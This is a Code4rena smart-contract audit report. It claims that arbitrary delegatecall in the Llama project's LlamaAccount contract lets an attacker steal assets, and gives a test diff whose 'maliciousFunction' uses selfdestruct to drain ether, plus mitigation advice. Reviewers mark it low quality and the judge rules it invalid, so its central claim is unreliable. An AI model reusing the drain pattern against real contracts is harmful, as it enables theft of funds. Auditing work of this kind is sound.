Arbitrary delegatecalls from LlamaAccount can be used to steal assets

[code423n4]

Lines of code

https://github.com/code-423n4/2023-06-llama/blob/main/src/accounts/LlamaAccount.sol#L297

Vulnerability details

Impact

Using delegatecall to call arbitrary contracts is highly dangerous as it can be used to steal assets. An attacker could sneak in a contract that steals all the assets owned by the LlamaAccount contract.

Proof of Concept

Below is a diff to the existing codebase that shows how a super simple contract could be used to steal all the ether from the account. An attacker could even craft a very complex payload that looks benign to call another smart contract that then calls some malicious code under the hood.

The PoC below uses selfdestruct to send all ether in the account to the mock extension contract. It doesn't show ERC20 token theft, but that could also be achieved through a delegate call.

diff --git a/test/accounts/LlamaAccount.t.sol b/test/accounts/LlamaAccount.t.sol
index 0b0ee59..a0a5ccb 100644
--- a/test/accounts/LlamaAccount.t.sol
+++ b/test/accounts/LlamaAccount.t.sol
@@ -817,12 +817,13 @@ contract Execute is LlamaAccountTest {

   function test_DelegateCallMockExtension() public {
     MockExtension mockExtension = new MockExtension();
+    transferETHToAccount(100 ether);

     vm.startPrank(address(mpExecutor));
     bytes memory result = mpAccount1LlamaAccount.execute(
-      address(mockExtension), true, abi.encodePacked(MockExtension.testFunction.selector, "")
+      address(mockExtension), true, abi.encodePacked(MockExtension.maliciousFunction.selector, "")
     );
-    assertEq(10, uint256(bytes32(result)));
+    assertEq(100 ether, address(mockExtension).balance);
     vm.stopPrank();
   }

diff --git a/test/mock/MockExtension.sol b/test/mock/MockExtension.sol
index f2c287a..73443bb 100644
--- a/test/mock/MockExtension.sol
+++ b/test/mock/MockExtension.sol
@@ -2,7 +2,17 @@
 pragma solidity ^0.8.19;

 contract MockExtension {
+  address payable immutable addr;
+
+  constructor() {
+    addr = payable(address(this));
+  }
+
   function testFunction() external pure returns (uint256) {
     return 10;
   }
+
+  function maliciousFunction() external {
+    selfdestruct(addr);
+  }
 }

Tools Used

Manual review

Recommended Mitigation Steps

Allowing delegatecall to arbitrary contracts should not be allowed if possible. The same goes for delegatecalls through LlamaExecutor to scripts.

If using delegatecall is a necessity then the contracts that can be delegate called should be audited and locked down to a whitelist. Uniswap V4 has a new hook mechanism that could be an interesting way of achieving this, but there is a lot of speculation about its security long term.

Assessed type

call/delegatecall

[c4-pre-sort]

0xSorryNotSorry marked the issue as low quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #241

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory: Invalid